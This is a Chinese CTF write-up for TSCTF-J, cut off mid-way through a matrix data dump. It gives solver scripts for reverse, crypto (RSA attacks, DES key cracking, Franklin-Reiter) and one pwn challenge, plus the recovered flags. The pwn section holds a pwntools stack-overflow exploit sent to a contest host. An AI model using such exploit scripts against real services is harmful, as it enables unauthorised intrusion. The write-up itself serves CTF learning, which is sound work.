WP-For-TSCTF-J

第一次打这种短时间的比赛,还是校内赛,多少有点累

(现在已经习惯了)

但好在结果还是令人满意的,感谢校内的出题人提供了一次优秀的拷打比赛 # Reverse

baby_xor

Re的签到题

string窗口找到

一大串异或,逆回来即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include<bits/stdc++.h>
using namespace std;
int main()
{
int a;
int data[40];
data[0] = 18;
data[1] = 20;
data[2] = 7;
data[3] = 17;
data[4] = 4;
data[5] = 110;
data[6] = 10;
data[7] = 58;
data[8] = 25;
data[9] = 124;
data[10] = 32;
data[11] = 14;
data[12] = 122;
data[13] = 6;
data[14] = 123;
data[15] = 22;
data[16] = 100;
data[17] = 8;
data[18] = 6;
data[19] = 48;
data[20] = 4;
data[21] = 22;
data[22] = 34;
data[23] = 117;
data[24] = 27;
data[26] = 36;
data[27] = 18;
data[28] = 40;
data[29] = 4;
data[30] = 105;
data[31] = 42;
data[32] = 57;
data[33] = 67;
data[34] = 43;
data[35] = 85;
data[36] = 13;
data[37] = 60;
data[38] = 5;
data[39] = 83;
data[40] = 19;
for(int i=0;i<=40;i++)
{
a=i^data[i]^0x46;
cout<<(char(a));
}
return 0;
}

flag :TSCTF-J{W3lC0M3_2_ReVEr$E_xOr_1s_O0o_e2}

小寄巧:Ctrl+Alt+方向键 可以往上/下增加光标

bytes_code

小看一眼,发现是类似汇编语言的东西,上网搜搜

没有直接可逆的程序,那就看着bytes_code直接逆向

边搜边逆即可得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
a=[114,101,118,101,114,115,101,95,116,104,101,95,98,121,116,101]
b=[99,111,100,101,95,116,111,95,103,101,116,95,102,108,97,103]
e=[80,115,193,24,226,237,202,212,126,46,205,208,215,135,228,199,63,159,117,52,254,247,0,133,163,248,47,115,109,248,236,68]
pos=[9,6,15,10,1,0,11,7,4,12,5,3,8,2,14,13]
d=[335833164,1155265242,627920619,1951749419,1931742276,856821608,489891514,366025591,1256805508,1106091325,128288025,234430359,314915121,249627427,207058976,1573143998,1443233295,245654538,1628003955,220633541,1412601456,1029130440,1556565611,1644777223,853364248,58316711,734735924,1745226113,1441619500,1426836945,500084794,1534413607]
c=a+b
for i in range(32):
print(chr(c[i]),end="")
for i in range(16):
a[i]=(a[i]+d[i])^b[pos[i]]
for i in range(16):
b[i]=b[i]^a[pos[i]]
c=a+b
print()
for i in range(32):
c[i]=(c[i]*d[i])%256
c[i]=e[i]^c[i]
print(chr(c[i]),end='')

flag:TSCTF-J{bY7ecoDe_I$_nOT_so_HArd}

WEB

原本是不想写了,但是看了看我的-100分,还是决定写点什么(

乐,这说明了JavaScript和PHP极度不过关

Pwn

checkin

签到题,30分钟速学速做

发现经典栈溢出gets()

看一眼backdoor()

只需要ch_0为BUPTBUPT即可

只需要往buf填充垃圾数据直到ch_0,再加一个BUPTBUPT即可

来写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
content=2
def main():
if (content==1):
r=process("pwn")
else:
r=remote("10.21.162.184",6661)
payload =b'a'*(0x30-0x10)+b'1BUPTBUPT'
r.recvuntil("[ch] ==> BBBBBBBB\n")
r.sendline(payload)
r.interactive()
main()

(照着教程写的脚本)

最后能拿到flag(具体忘了)

Crypto

T0ni's_RSA

我的一血题(乐),脚本写挺快就

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from Crypto.Util.number import *
from gmpy2 import *
from secret import flag

assert len(flag)==48
flag1=flag[0:12]
flag2=flag[12:24]
flag3=flag[24:36]
flag4=flag[36:48]


print("=====================================flag1")
m=bytes_to_long(flag1)
p=getPrime(1024)
q=getPrime(1024)
e=65537
n=p*q
c=powmod(m,e,n)
print("p =",p)
print("q =",q)
print("e =",e)
print("c =",c)


print("=====================================flag2")
m=bytes_to_long(flag2)
p=getPrime(64)
q=getPrime(64)
e=65537
n=p*q
c=powmod(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)



print("=====================================flag3")
m=bytes_to_long(flag3)
p=getPrime(1024)
q=next_prime(p)
e=65537
n=p*q
c=powmod(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)


print("=====================================flag4")
m=bytes_to_long(flag4)
p=getPrime(1024)
q=getPrime(1024)
e=7
n=p*q
c=powmod(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)



'''

=====================================flag1
p = 126848068662434725837362927110508359670513097902158347608742478683379412542373205396355795471254038301102414856525121647188484976552142343067044591036870463204973197337043645689668460536955381260032883948287738855267140030987485450026217231376934834164731323791161242646800219869703713605170682364116602398481
q = 108831434115512090318037589335170063989256445400295000303568098461799570376658935415095544400164386313684432766346946165811277996284801631673216470358009654117077854125122927553974223129029217160157869796055967783796164293604324171269850795257143703187899358858675646672321319018167474020363026585548820771697
e = 65537
c = 12806426835071949867711416962709958594314368469792264574105984900555439512183487926101898057954900183669492820478219013019317212504718045553210233002824678962092820191899047884098185828625477721152790480535997733511787559909800255732856472382084502459064555276405636335011653299264667296955585832665754137638936306114164795630686750776282273654483469063781121080308493239356585954141139584326117462247270605137016151223704623131634401478066683053816761883398796060573577823014077050991745590269109018594293646949390055766822956018083267147781811450534232319486801350308073725708881185484667042111239958769639753074974
=====================================flag2
n = 117468512089531428663961257960238163911
e = 65537
c = 116661533228458434140621528983098975679
=====================================flag3
n = 13492595256760969040679230352398486845474955975199604800660741616776625780411272813224167801996221854423950963429539941573997611430663873182935561614207154821126761724862959388136641380305863820357311556705058402764857971168891247598952474612658335721334501562320453135569072859647106595744699686106575394155623607871280406174889010332061295980615904318604783210190774745857252314015710989087615728493401949363616443440371076313467788459099129219583070179936217564350523405302532093137784337453902235992607281224617514376983703401850900613434289916680690958012167734859041293116971287070809385300950616506089031207391
e = 65537
c = 9556855627975459046740821834528544070427049621127160951742003478725424449033433009828717934730280978533743220944726870403563278379897696996593408941742726761954126312142544881536075456011232335038713394388844246035946642298588354835538957640121051986433171003548328013363624428388045689223434747553158248457199579326477645217581943607544640937724609291757178063476167129106555047385785925998650584941948353305651394629383203202173799027705269424908549510903196317581322985993424298619576745664607011471390391051884932663025002185768778902167735501719300645089512150938345539777564021221129832163135987500087303945958
=====================================flag4
n = 16311936352179992492322678030084754707912920265012738488001035655568811201293057367042418918656434158566661057011011903060966139141261511970173395803273617809596669492853191556134593000727887389753473207671720940942296594391783348274481657029091989837730022520412600669905401644620228349730622930180575214015304207221073824165287677553936892684490958627884970712382480336987266790423306814756649897559941928884283783109014172545384266583536851269964790353704338665524956130951949158484613551769004309270737394403919413951880647112332734742309798941724190059029780419002154606451025683494409014840175366489059673990383
e = 7
c = 24352183908812439486066187971806232095447207924326195067955513727448051350160252184726311366048048945796542616778567176778473328388848916602914602254361942853429047133399539108358587787495587158203125

'''

flag被分成了4块,然后全是RSA

RSA的基本解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
from gmpy2 import *
p=
q=
e=
c=
n=p*q
phin=(q-1)(p-1)
d=gmpy2.invert(e,phin)
m=gmpy2.powmod(c, d, n)
flag=long_to_bytes(m)
print(flag)

flag2

发现p,q的位数较小,直接拿yafu分解n得到p,q即可

flag3

q=next_prime(p)说明|q-p|较小

贴一段exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from gmpy2 import *
from Crypto.Util.number import*
def decrypt(p,q,e,n,c):
phi=(p-1)*(q-1)
d=inverse(e,phi)
m=pow(c,d,n)
pt=long_to_bytes(m)
return pt.decode("utf-8")
def fermat_method(nn):
a=gmpy2.isqrt(nn)+1
k=a**2-n
while not gmpy2.is_square(k):
a+=1
k=a**2-n
return (gmpy2.isqrt(k)+a),(a-gmpy2.isqrt(k))
n =
e =
c =
p,q=fermat_method(n)
print("Succeed! : ",decrypt(p,q,e,n,c))

flag4

e=7较小,可以进行低加密指数攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import gmpy2
import libnum
def de(c, e, n):
k = 0
while True:
mm = c + n*k
result, flag = gmpy2.iroot(mm, e)
if True == flag:
return result
k += 1
n= 16311936352179992492322678030084754707912920265012738488001035655568811201293057367042418918656434158566661057011011903060966139141261511970173395803273617809596669492853191556134593000727887389753473207671720940942296594391783348274481657029091989837730022520412600669905401644620228349730622930180575214015304207221073824165287677553936892684490958627884970712382480336987266790423306814756649897559941928884283783109014172545384266583536851269964790353704338665524956130951949158484613551769004309270737394403919413951880647112332734742309798941724190059029780419002154606451025683494409014840175366489059673990383
e= 7
c= 24352183908812439486066187971806232095447207924326195067955513727448051350160252184726311366048048945796542616778567176778473328388848916602914602254361942853429047133399539108358587787495587158203125
m=de(c,e,n)
print(m)
print(libnum.n2s(int(m)).decode())

拼接起来得到flag:

TSCTF-J{T0niii_is_the_most_handsome_boy_in_BUPT}

Nonograms

二血题

填字游戏,正好在未来之光玩过

填到第一个是TS就可以直接猜了(

不过最后一个胜是繁体还得填完才知道

锤一下出题人,一开始第一个图有问题

Two Keys

乐,一开始看题两个key都解不出来,这题还是等到hint出来才去写的

Q1

Catalan Number

直接得到key=58786,然后e求出来就可以把flag1解出来

Q2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
assert len(KEY) == 8
KEY=vmefifty
# 获取KEY的sha256哈希值
sha256_of_KEY = hashlib.sha256(KEY.encode()).hexdigest()

# print("sha256_of_KEY = ", sha256_of_KEY)

"""
sha256_of_KEY = 2b87ea3983c646fcecc476f6930c18bf75935cab40471930f560bef2f370b82e
"""

# 工作模式为ECB模式
generator = DES.new(KEY.encode(), DES.MODE_ECB)

# 非8整数倍长度明文补位,填充方式为PKCS7
padding_len = 8 - len(flag2) % 8
padding_str = ""
for i in range(padding_len):
padding_str += chr(padding_len)

message2 = (flag2 + padding_str).encode()
cipher2 = generator.encrypt(message2)

# print("cipher2 = ", cipher2)

"""
cipher2 = b'\x83\xce\x8a\xdac)\xd2\xa41\xe26\xd5\x12\xcf\x9aV;%\x80\xc1\x87\x97\xe0\xc3\x03\x17\xfeR\x97b\x86\xf9"\x1c\xde\xf4\xc1F\xd5\x13\x1e$\xc3\xb8\x84Z}\xac'
"""

是没见过的题型,先百度(

得知是DES加密,所以只需要把KEY求出来就好了

hashcat省了我100元(乐

不过得找时间研究下DES加密了

解密脚本

1
2
3
4
5
6
from Crypto.Cipher import DES
key = b'vmefifty' # 密钥 8位或16位,必须为bytes
des = DES.new(key,DES.MODE_ECB)
cipher2 = b'\x83\xce\x8a\xdac)\xd2\xa41\xe26\xd5\x12\xcf\x9aV;%\x80\xc1\x87\x97\xe0\xc3\x03\x17\xfeR\x97b\x86\xf9"\x1c\xde\xf4\xc1F\xd5\x13\x1e$\xc3\xb8\x84Z}\xac'
plain = des.decrypt(cipher2).decode().rstrip('')
print(plain)

flag合起来:

TSCTF-J{C0mbinAt0rial_M4themat1cs_aNd_Ha$h-Alg0rithms_aRe_1mportaNt_in_CryptOgraphy}

锟斤拷烫烫烫

比赛快结束时候做的

一开始根本找不到方向,还以为是要GBK转回UTF再转GBK

后面看了一眼hint

那应该是摩斯电码了

分别试试’锟斤拷‘为. ’烫烫烫‘为- 和’烫烫烫为.‘ ,锟斤拷为’-‘

最后得到nbxxkzdfmjxxq5lfnjuw4z3zmvwgk4lvny======

只有小写和数字,尝试下base32

houdeboxuejingyelequn

厚德博学,敬业乐群(柏油校训了属于是)

最后的flag

TSCTF-J{houdeboxuejingyelequn}

Padding

难题呜呜呜,敲了好久出题人

先看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *
from secret import flag

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 7
padding = []
c = []
for i in range(7):
padding.append(getRandomNBitInteger(200))
c.append(pow(bytes_to_long(flag)+padding[i],e,n))
print("padding =" , padding)
print("c =" , c)
print("n =" , n)


'''
padding = [1335480658797977714182635648750815419879863005458296451759980, 1105478255797648007315023349886665504882795889468318648836489, 1489587392331042893110421129948198972848199336252924080656641, 1382132591349019313051633381580513940696242041200157067276965, 1221660644144301911052632714338747719470438556988174836050945, 1068031555434206518912431828732904834724467895812387259846701, 950167070063725325849144112345647322487251271749089552189663]
c = [12156386075808622919884470499999742428948502290502633266714149243391285205946115183803994358397007646732305875732756643202922104933378634777644066483167963571712035489015468459933095323334863890435749390532442705094998642125235372860705341955801015882661076385844505207361041433662302705168420651453751540995834305046607601185709642044598630304091303196332242061466550215712921474914475397203467487247940657328224044308073742136051064572546530378010878973999667554524646802318423870669538570596462520992438639236004336970873550235925980951294570526264437543798875923495522565998539523128411559014373395070473631453566, 972356467391012086833811738641838319861817525445948808480936492147753430144317539441186943288915425511879540996004803019485652431865111396669860993724237438649969203047404242307149508808618203417951441795049448232404787581852741143348397287426740139094336833311562892315049969288568587789688296347942787598418528177855468807885673013470158098351440876237990921668040936715389231560323385934305926601416163595112453649216731937013137806754734815084774350987531334027717653682465954998739503739409608050354323175935659240003166740261566438895662897941156487383985053843011026442739486489133965796784933459982725696775, 1454331173241635142506399589393969737848142032230883803261735992771830972879572777356927192378573602236098153509639254004851722457149699299866825018313710356393311032404598096809195872188404000516094682681608120805204783009461884449600938700582208908008071275372708432058373926046514825469225174662850948103453469645640228992245358487987272421010510232054828326388218459389567499487935461618380719519887213376030129032707221730507737611410014897003976163716558382106260105847931079410590112964316468841736661232278024260233882421020200700231809690412128655803967533305693383240088285028927703779047695827937040223526, 6791050315140572034907086247890255021827941157528628377773625336985099241713427102778852636223584687878215990080372433824322955058613464480617108189761082359213434538466120277962205761611547830153597174687432774237721135920037822836986334562670399081729853703729112157303420394592491725704555824136898847448104644875250763637127686421609288845684388335903531982002388372656868862578909799004367064231152534620384223340723592045963701370582655894522018048966032733363919055570488349419802553623383229984481655602363798805974112682716933192836684530597895409931474679254430700268510470573286649355517536491728232638984, 7803855528608932185856986942413229341623907433814794378053611165978572546437012403689773517160224286896308577300172980049082676322057339129823685973805873488727776853214499550697984658153048467533646511113452267598864956459904881242691987155194349236137541685036215980529287357624758738750558212382770593370702072915476569813585287562678755897891674693964438465669214388136535906743419508690584845308083623921598510789353161937518426346444207305627476448154496505304695996205329923245256088409631062420375506658789911005080300013085062925298859955581516257722553221307542798076144256160430048412994162804891974912474, 4030955227168730192999024888820215710084446645446256115638229327289034528753068830715482258407133210016442070163899418940902654959914066694182808750966415474639300893908465406297056231309133867642983646058147629193679862882170245627204545494805354536331702883561258628109334310233383898676025637286306006540918694751743547505282639111440678988204991167143330138823607522729686549678678449369357241240142964742224147635845150700429830467893337472530683134911312719885601666896354297079217209551761373920977086364082701872522837302700103255427630415742579044731775282454608836816845078464725872366443970727072634331310, 4218225672382185197035762290164180903865366090705038637557093873068863427054297701405534448271309864226675109323258322814404762555787124293418365451067455313522499598139801644066165037500903373077756204200202769507974913689729342621513811350975545529076184628373620819514661867827586261423449259457732493314845375210644062440507436460283361381944938947952378945857173897366688689605681939765399754656363994033734218908600828396982111403133672684606184343877020899703366055077799265490017197951140479616423162570652573665679288859998969427574466807234700912095873317594471498067005698186309372794029384813690566129132]
n = 17515428580506336482920065687597618432639352657703669002780359377743914776003189936297497794271316232201999281774421548697177866332903866471518885478454843578867006248589625791033280075699050402358420491848343511978614942649711851563349630808644616950385050302966261294023725083784209368304218619201496093390701213330907394734354545006862435862009939465898782367798049469172652429938053538346740409740732732880445683784614934583353833571133884932104711325140486699582601070937909970702240418614307350445447464869735784576624399384628158548859128716134744368949395160346853204127661506776530056610406334277664598033307
'''

熟悉的RSA加密,不熟悉的pow方式

一开始看到e=7且多个c还以为是低加密指数广播攻击

后面看了pow方式发现只有一个n

可以理解为

ci=(m+b[i])**e(mod n)

也就是有7个方程,求一个M的解

百度找了下exp,发现是Franklin Reiter Attack

如果两条消息之间仅存在已知的固定差异,和RSA是否在相同的RSA模N下加密

m1 = bytes_to_long(flag)

m2 = a*m1 + b

这样就有可能同时恢复它们

掏出sagemath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
n=17515428580506336482920065687597618432639352657703669002780359377743914776003189936297497794271316232201999281774421548697177866332903866471518885478454843578867006248589625791033280075699050402358420491848343511978614942649711851563349630808644616950385050302966261294023725083784209368304218619201496093390701213330907394734354545006862435862009939465898782367798049469172652429938053538346740409740732732880445683784614934583353833571133884932104711325140486699582601070937909970702240418614307350445447464869735784576624399384628158548859128716134744368949395160346853204127661506776530056610406334277664598033307
b1=1335480658797977714182635648750815419879863005458296451759980
b2=1105478255797648007315023349886665504882795889468318648836489
c1=12156386075808622919884470499999742428948502290502633266714149243391285205946115183803994358397007646732305875732756643202922104933378634777644066483167963571712035489015468459933095323334863890435749390532442705094998642125235372860705341955801015882661076385844505207361041433662302705168420651453751540995834305046607601185709642044598630304091303196332242061466550215712921474914475397203467487247940657328224044308073742136051064572546530378010878973999667554524646802318423870669538570596462520992438639236004336970873550235925980951294570526264437543798875923495522565998539523128411559014373395070473631453566
c2=972356467391012086833811738641838319861817525445948808480936492147753430144317539441186943288915425511879540996004803019485652431865111396669860993724237438649969203047404242307149508808618203417951441795049448232404787581852741143348397287426740139094336833311562892315049969288568587789688296347942787598418528177855468807885673013470158098351440876237990921668040936715389231560323385934305926601416163595112453649216731937013137806754734815084774350987531334027717653682465954998739503739409608050354323175935659240003166740261566438895662897941156487383985053843011026442739486489133965796784933459982725696775
e=7
import libnum
from Crypto.Util.number import *
def franklinReiter(n,e,c1,c2,b1,b2):
R.<X> = Zmod(n)[] #定义R为整系数上的多项式环,文字为X
f1 = (X+b1)^e - c1 #定义f为整系数的一元多项式
f2 = (X+b2)^e - c2
return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])
def compositeModulusGCD(a, b):#取同余
if(b == 0):
return a.monic()
else:
return compositeModulusGCD(b, a % b)
m=franklinReiter(n,e,c1,c2,b1,b2)
print(long_to_bytes(m))

最后拿到flag

TSCTF-J{It_is_easy_to_recover_the_message_with_known_padding}

注:细看名为《A New Related Message Attack on RSA》by Oded Yacobi1 and Yacov Yacobi的论文

Mathematics

有了padding的经验,math这道题做起来就比较简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-

from Crypto.Util.number import bytes_to_long, getStrongPrime
from secret import flag

# format of flag: TSCTF-J{xxxxxx}, in bytes

p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001

message = bytes_to_long(flag)
cipher = pow(message, e, n)

gift1 = pow(2 * p + 3 * q, 2021, n)
gift2 = pow(5 * p + 7 * q, 2022, n)

print(n)
print(cipher)
print(gift1)
print(gift2)


# the output of the script as below:

'''
30605581679665160107430766945206661729750997259431516369306207174539207400843979048399497879009868729937807750028608181665669646775019421528453638192335628976297919501875181688081027005051949199866197309932406189039545521333321147903535728094644196927618752892553550220031390670661488019976026411250442159074816802358459413981323379293868808748852783931931112848423499067965879576341050629353867764366614246882208094826567265127937605032156162174995858388935617233377185382224896377686480374865696235749860679377273666242221275603202819811415924982421389381296452456442800781531565181630206203003263990186920255763071
6137854584727595405475724678025897263818580620962426691844777599539725463285747121810606137105642183728341825226388473642346527714351593304145813063818159004874258501364160613943110483706112586781728024028099716313480630571580767312902745114979907291129524477564466752175417165341216244893880831121490974268367800004417698685313031057446656144449296432255998032355482347680849507560156036602074353665492315585530264575962467981159617759900146415261679634326151759968772115197455763000988947209182801649599692588800665387410094346769212144327721768640168663472680195144917638972234098954171647227858474760378298895283
15708249530436563969929627187365696729224358154094100100933829625644689728199793160090469051322912776535221971466959311667327899125222864463552605496589229707425940567458600965903888524435134269685032758439197992233678262619742530182454048294805533804023543194329962331416788750828190053874565488964086802991125562564501085648725565119599876284601561320151567206306442239042614735548575237123718044413535565993127522988353341771449480296718055955597444670613723992047569331013362598705517853440969318822231206596974891976807698813421421744632119552746069475216411383507610915688976008834098767283001622418400772211475
13764754663008478610615444717227149485821061998541593968585784733740772373957864852434153621011940978806538969221017143266986579499913394830668965574283557265578112837874405140311443723601621688300063647358575328444520049272936937082056167963157438309228869114562377904131297784730709597583132380421275585185509232148526064374683330805366344030922695854813084189511701513743151965325845173158426062339299763804310826661164579150678904309784614403120724530890734477944301958244642160242612606153320869983425913117530260623332624887291294307530854505132359398485953972467252007254030450353918507974086878773786375410523
'''

熟悉的RSA加密,但是有

1
2
gift1 = pow(2 * p + 3 * q, 2021, n)
gift2 = pow(5 * p + 7 * q, 2022, n)

可以写成 \[ gift1=(p*2+3*q)^{2021}mod(n)\\ gift2=(5*p+7*q)^{2022}mod(n) \] 两个方程,两个未知数,可以尝试消元

预备知识 \[ gift1=(2*q)^{2021}mod(n)+(3*q)^{2021}mod(n)\\ gift2=(5*q)^{2022}mod(n)+(7*q)^{2022}mod(n) \] Reason:由牛顿二项式定理展开后,中间项mod(n)=0

1
2
3
x3 = pow(gift1 * pow(5,2021,n),2022,n) % n
x4 = pow(gift2 * pow(2,2022,n),2021,n) % n
q = gcd(x3-x4,n)

最后贴上完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from gmpy2 import *
n=30605581679665160107430766945206661729750997259431516369306207174539207400843979048399497879009868729937807750028608181665669646775019421528453638192335628976297919501875181688081027005051949199866197309932406189039545521333321147903535728094644196927618752892553550220031390670661488019976026411250442159074816802358459413981323379293868808748852783931931112848423499067965879576341050629353867764366614246882208094826567265127937605032156162174995858388935617233377185382224896377686480374865696235749860679377273666242221275603202819811415924982421389381296452456442800781531565181630206203003263990186920255763071
c=6137854584727595405475724678025897263818580620962426691844777599539725463285747121810606137105642183728341825226388473642346527714351593304145813063818159004874258501364160613943110483706112586781728024028099716313480630571580767312902745114979907291129524477564466752175417165341216244893880831121490974268367800004417698685313031057446656144449296432255998032355482347680849507560156036602074353665492315585530264575962467981159617759900146415261679634326151759968772115197455763000988947209182801649599692588800665387410094346769212144327721768640168663472680195144917638972234098954171647227858474760378298895283
gift1=15708249530436563969929627187365696729224358154094100100933829625644689728199793160090469051322912776535221971466959311667327899125222864463552605496589229707425940567458600965903888524435134269685032758439197992233678262619742530182454048294805533804023543194329962331416788750828190053874565488964086802991125562564501085648725565119599876284601561320151567206306442239042614735548575237123718044413535565993127522988353341771449480296718055955597444670613723992047569331013362598705517853440969318822231206596974891976807698813421421744632119552746069475216411383507610915688976008834098767283001622418400772211475
gift2=13764754663008478610615444717227149485821061998541593968585784733740772373957864852434153621011940978806538969221017143266986579499913394830668965574283557265578112837874405140311443723601621688300063647358575328444520049272936937082056167963157438309228869114562377904131297784730709597583132380421275585185509232148526064374683330805366344030922695854813084189511701513743151965325845173158426062339299763804310826661164579150678904309784614403120724530890734477944301958244642160242612606153320869983425913117530260623332624887291294307530854505132359398485953972467252007254030450353918507974086878773786375410523
x3 = pow(gift1 * pow(5,2021,n),2022,n) % n
x4 = pow(gift2 * pow(2,2022,n),2021,n) % n
q = gcd(x3-x4,n)
e=0x10001
p = n // q
phin = (p - 1) * (q - 1)
d = invert(e,phin)
m = pow(c,d,n)
print(long_to_bytes(m))

L1nearAlgebra

二血题

看到提示Have you learnt matrix operation?

好家伙,矩阵运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from sage.all import *
import os

flag = flag + os.urandom(62 - len(flag))
M = Matrix(32,32)
for i in range(32):
M[i,i] = 2
for i in range(31):
M[i,i+1] = 1
C = Matrix(32,32)
idx = [i for i in range(1,32)]
for each , i in zip(flag[:31],idx):
C += each * M ^ i
M = M.transpose()
for each, i in zip(flag[31:],idx):
C += each * M ^ i
f = open('cipher.txt','w')
f.write(str(list(C)))
f.close()

看到一大串矩阵有点懵,决定先研究下加密方式

打crypto还得是Linux环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from sage.all import *
import os
flag=b'abced'
flag = flag + os.urandom(10- len(flag))
M = Matrix(5,5)
for i in range(5):
M[i,i] = 2
for i in range(4):
M[i,i+1] = 1
C = Matrix(5,5)
idx = [i for i in range(1,5)]
for each , i in zip(flag[:5],idx):
C += each * M ^ i
print(C)
M = M.transpose()
for each, i in zip(flag[5:],idx):
C += each * M ^ i
print(C)

依葫芦画瓢写一段5*5的加密

输出如下 \[ \begin{matrix} 2994 & 490 9 & 3116 & 907 & 101\\ 0 & 2994 & 4909 & 3116 & 907\\ 0 & 0 & 2994 & 4909 & 3116\\ 0 & 0 & 0 & 2994 & 4909\\ 0 & 0 & 0 & 0 & 2994 \end{matrix}\tag{1} \]

\[ \begin{matrix} 8554 & 4909 & 3116 & 907 & 101\\ 9780 & 8554 & 4909 & 3116 & 907\\ 6438 & 9780 & 8554 & 4909 & 3116\\ 1877 & 6438 & 9780 & 8554 & 4909\\ 204 & 1877 & 6438 & 9780 & 8554\\ \end{matrix}\tag{2} \]

可见是先加完上三角再加下三角,主对角线被加两次

其中右上角和左下角的值都是最后的字符值

且都是flag内字符*Mi,即可理解为Mi再与字符进行乘法运算

矩阵运算没学好的可以先寄了

可以考虑逆向从左下角开始再返回右上角,逐层输出减去

尝试一下

1
2
3
4
5
6
7
8
9
10
G=Matrix(5,5)
O=Matrix(5,5)
t=4
for i in range(4):
a=C[4-i,0]
G=M**t #生成第n次循环时的M
O=a*G #
C-=O
t-=1
print(C)

输出如下,完美契合 \[ \begin{matrix} 2994 & 4909 & 3116 & 907 & 101\\ 0 & 2994 & 4909 & 3116 & 907\\ 0 & 0 & 2994 & 4909 & 3116\\ 0 & 0 & 0 & 2994 & 4909\\ 0 & 0 & 0 & 0 & 2994\\ \end{matrix}\tag{3} \] 故可以写出逆代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
C=[(1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800, 1393335899885, 267728994025, 43837271325, 6031286031, 684116407, 62288405, 4376270, 222711, 7306, 116), (8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800, 1393335899885, 267728994025, 43837271325, 6031286031, 684116407, 62288405, 4376270, 222711, 7306), (59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800, 1393335899885, 267728994025, 43837271325, 6031286031, 684116407, 62288405, 4376270, 222711), (276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800, 1393335899885, 267728994025, 43837271325, 6031286031, 684116407, 62288405, 4376270), (937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800, 1393335899885, 267728994025, 43837271325, 6031286031, 684116407, 62288405), (2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800, 1393335899885, 267728994025, 43837271325, 6031286031, 684116407), (5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 82547491872874, 24294703828405, 6244587116800, 1393335899885, 267728994025, 43837271325, 6031286031), (8918482256116815, 5148302163881472, 2451555963598877, 937671670357353, 276935161109092, 59288591411038, 8188766980601, 1035461692406, 7325752215524, 53315924941557, 250306467069971, 851727613727076, 2237633715238274, 4721116651789019, 8215569692544794, 12017330318448939, 14983846245991262, 16093167791691979, 15007745091938298, 12225052164881326, 8737261524593285, 5496061450506544, 3048939633932959, 1493094620735775, 645444380397929, 246051730125448, 